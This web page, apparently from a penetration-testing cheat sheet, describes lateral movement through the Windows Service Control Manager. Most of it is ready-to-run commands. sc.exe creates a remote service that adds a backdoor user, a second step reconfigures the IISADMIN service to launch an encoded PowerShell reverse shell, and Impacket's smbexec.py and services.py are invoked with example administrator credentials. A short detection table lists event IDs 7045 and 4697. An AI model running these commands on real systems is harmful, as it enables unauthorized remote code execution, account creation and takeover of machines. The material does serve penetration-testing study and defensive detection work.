AD^:Active Directory

Attack #59 — SCM Service Manager Lateral Movement

The Service Control Manager (SCM) allows remote service creation and management via named pipes (\pipe\svcctl). An attacker with admin credentials can…

advancedupdated 2026-08-10Impacket · PowerShell

⚫ Attack #59 — SCM / Service Manager Lateral Movement


📖 How It Works

The Service Control Manager (SCM) allows remote service creation and management via named pipes (\pipe\svcctl). An attacker with admin credentials can create a Windows service on a remote host that executes arbitrary commands as SYSTEM. This is essentially what sc.exe and smbexec.py use under the hood.


⚙️ Prerequisites

RequirementDetail
Local admin on targetRequired for SCM access
SMB access (port 445)SCM operates over named pipes via SMB

💻 Full Commands

# ── Create remote service ─────────────────────────────────────────────────────
sc.exe \\TARGET create remotesvc binPath= "cmd.exe /c net user hacker P@ss! /add"
sc.exe \\TARGET start remotesvc
sc.exe \\TARGET delete remotesvc

# ── Modify existing service for stealth ───────────────────────────────────────
sc.exe \\TARGET config IISADMIN binPath= "cmd.exe /c powershell -e <base64_reverse_shell>"
sc.exe \\TARGET stop IISADMIN
sc.exe \\TARGET start IISADMIN
# ── Impacket smbexec.py (service-based, no binary on disk) ───────────────────
smbexec.py corp.local/Administrator:'Password1'@10.10.10.10

# ── services.py (direct service creation) ─────────────────────────────────────
services.py corp.local/Administrator:'Password1'@10.10.10.10 create -name evilsvc \
  -display "Evil" -path "cmd.exe /c whoami > C:\Temp\out.txt"
services.py corp.local/Administrator:'Password1'@10.10.10.10 start -name evilsvc

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
7045System LogNew service installed remotely
4697Security LogService installation

✅ Attack #59 — SCM Lateral Movement complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.